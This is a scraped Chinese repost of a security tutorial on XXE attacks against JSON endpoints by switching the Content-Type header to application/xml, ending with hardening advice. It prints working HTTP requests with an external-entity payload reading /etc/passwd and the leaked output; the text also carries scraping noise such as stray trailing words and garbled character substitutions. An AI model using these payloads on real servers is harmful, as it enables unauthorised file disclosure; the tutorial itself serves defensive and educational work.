神奇的Content-Type--在JSON中玩转XXE攻击

转自:360安全播报http://bobao.360.cn/learning/detail/360.htmlhtml

http://p2.qhimg.com/t019b8a6782d0d55afa.png

你们都知道,许多WEB和移动应用都依赖于Client-Server的WEB通讯交互服务。而在如SOAP、RESTful这样的WEB服务中,最多见的数据格式要数XML和JSON。当WEB服务使用XML或者JSON中的一种进行传输时,服务器可能会接收开发人员并未预料到的数据格式。若是服务器上的XML解析器的配置不完善,在JSON传输的终端可能会遭受XXE攻击,也就是俗称的XML外部实体攻击。json

XXE是一种针对XML终端实施的攻击,黑客想要实施这种攻击,须要在XML的payload包含外部实体声明,且服务器自己容许实体扩展。这样的话,黑客或许能读取WEB服务器的文件系统,经过UNC路径访问远程文件系统,或者经过HTTP/HTTPS链接到任意主机。在下面的例子中,咱们将一个外部实体指向了WEB服务器上的/etc/passwd,该实体就是包含在XML的payload里的。安全

 

1
2
3
4
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
< element >&xxe;</ element >
[some xml content..]

以上就是一个简洁有效的攻击,咱们来看看如何利用Content-Type头和HTTP请求的payload,是否也能黑掉JSON的终端。下面是一个JSON请求样本,它将Content-Type设置为application/json,其中精简了大部份内容。bash

 

1
2
3
4
5
6
7
8
9
10
11
12
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}

若是Content-Type头被修改成application/xml,客户端会告诉服务器post过去的数据是XML格式的。但若是你实际传过去的不是该格式的话,服务器不会进行解析,而且会报以下的错:服务器

 

1
2
3
4
5
6
7
8
9
10
11
12
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

该错误提示指出,服务器可以处理XML格式和JSON格式的数据,但如今服务器收到的真实数据格式并非在Content-Type里声明的XML格式,因此这里天然不能被解析啦。为了解决这个问题,JSON格式被强行转换为XML格式。若是你想作这样的转换,网上有很多在线工具,Eric Gruber曾写了一个Burpsuite插件(Content-Type Converter),能够自动在Burpsuite里转换格式。app

 

1
2
Original JSON
{ "search" : "name" , "value" : "netspitest" }

 

1
2
3
4
XML Conversion
<? xml  version = "1.0"  encoding = "UTF-8"  ?>
< search >name</ search >
< value >netspitest</ value >

然而,这样直接转换过来的XML文档很明显是无效的,它并无XML格式文件所必须的<root>元素。若是这个XML格式的文件被发送到服务器上,有可能服务器会为此响应一个错误消息,全部最好的作法是为该转换过的XML文档加一个<root>元素。工具

 

1
2
3
4
5
<? xml  version = "1.0"  encoding = "UTF-8"  ?>
< root >
< search >name</ search >
< value >netspitest</ value >
</ root >

如今原始的JSON请求能够被转换为XML发送给服务器,而后得到一个有效响应。post

 

1
2
3
4
5
6
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

 

1
2
3
4
5
<? xml  version = "1.0"  encoding = "UTF-8"  ?>
< root >
< search >name</ search >
< value >netspitest</ value >
</ root >

 

1
2
3
4
5
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}

由于在这里服务器是能够接收XML的数据的,黑客能由此对JSON终端实施XXE攻击。ui

 

1
2
3
4
5
6
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

 

1
2
3
4
5
6
<? xml  version = "1.0"  encoding = "UTF-8"  ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
< root >
< search >name</ search >
< value >&xxe;</ value >
</ root >

黑客在这里就能够读到/etc/passwd的文件内容:spa

 

1
2
3
4
5
6
7
8
9
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

显然,不是每个JSON终端都会接收XML格式,改变Content-Type并无太大用处,有可能你只会获得一个415的数据类型不支持错误。可是,JSON转换为XML的攻击不会只限制于经过post传输带有JSON内容的payload,我就曾经看见以GET形式传输相应参数的案例。若是JSON的参数被转换为XML,服务器会本身判断content type的真实类型。

经过以上的实验咱们能够得出结论,若是你想要加固JSON终端,XML解析必须被禁用,或者你必须禁用内联DOCTYPE声明,以此防护XML外部实体注入攻击。

相关文章
相关标签/搜索